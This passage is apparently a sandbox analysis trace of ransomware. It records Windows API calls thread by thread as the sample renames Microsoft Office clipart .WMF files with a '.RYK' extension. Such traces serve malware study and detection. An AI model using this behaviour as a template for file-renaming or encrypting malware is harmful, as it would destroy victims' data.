	[0251.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.819] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3127
	os_tid = 0x36d0

	[0251.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF", dwFileAttributes=0x80) returned 0
	[0251.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3128
	os_tid = 0x36d4

	[0251.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF", dwFileAttributes=0x80) returned 0
	[0251.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3129
	os_tid = 0x36d8

	[0251.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF", dwFileAttributes=0x80) returned 0
	[0251.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3130
	os_tid = 0x36dc

	[0251.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF", dwFileAttributes=0x80) returned 0
	[0251.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3131
	os_tid = 0x36e0

	[0251.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF", dwFileAttributes=0x80) returned 0
	[0251.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3132
	os_tid = 0x36e4

	[0251.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF", dwFileAttributes=0x80) returned 0
	[0251.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3133
	os_tid = 0x36e8

	[0252.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF", dwFileAttributes=0x80) returned 0
	[0252.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3166
	os_tid = 0x376c

	[0252.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF", dwFileAttributes=0x80) returned 0
	[0252.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3167
	os_tid = 0x3770

	[0252.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF", dwFileAttributes=0x80) returned 0
	[0252.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.247] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3168
	os_tid = 0x3774

	[0252.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF", dwFileAttributes=0x80) returned 0
	[0252.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3169
	os_tid = 0x3778

	[0252.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF", dwFileAttributes=0x80) returned 0
	[0252.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3170
	os_tid = 0x377c

	[0252.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF", dwFileAttributes=0x80) returned 0
	[0252.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3171
	os_tid = 0x3780

	[0252.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF", dwFileAttributes=0x80) returned 0
	[0252.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3172
	os_tid = 0x3784

	[0252.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF", dwFileAttributes=0x80) returned 0
	[0252.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3173
	os_tid = 0x3788

	[0252.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF", dwFileAttributes=0x80) returned 0
	[0252.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3174
	os_tid = 0x378c

	[0252.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF", dwFileAttributes=0x80) returned 0
	[0252.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3175
	os_tid = 0x3790

	[0252.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF", dwFileAttributes=0x80) returned 0
	[0252.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.684] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3176
	os_tid = 0x3794

	[0252.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF", dwFileAttributes=0x80) returned 0
	[0252.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3177
	os_tid = 0x3798

	[0252.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF", dwFileAttributes=0x80) returned 0
	[0252.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3178
	os_tid = 0x379c

	[0252.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF", dwFileAttributes=0x80) returned 0
	[0252.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3200
	os_tid = 0x37fc

	[0252.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF", dwFileAttributes=0x80) returned 0
	[0252.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3201
	os_tid = 0x3294

	[0252.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF", dwFileAttributes=0x80) returned 0
	[0252.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.506] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3202
	os_tid = 0x2d00

	[0252.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF", dwFileAttributes=0x80) returned 0
	[0252.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3203
	os_tid = 0x2e58

	[0252.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF", dwFileAttributes=0x80) returned 0
	[0252.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3204
	os_tid = 0x2d3c

	[0252.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF", dwFileAttributes=0x80) returned 0
	[0252.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3205
	os_tid = 0x2148

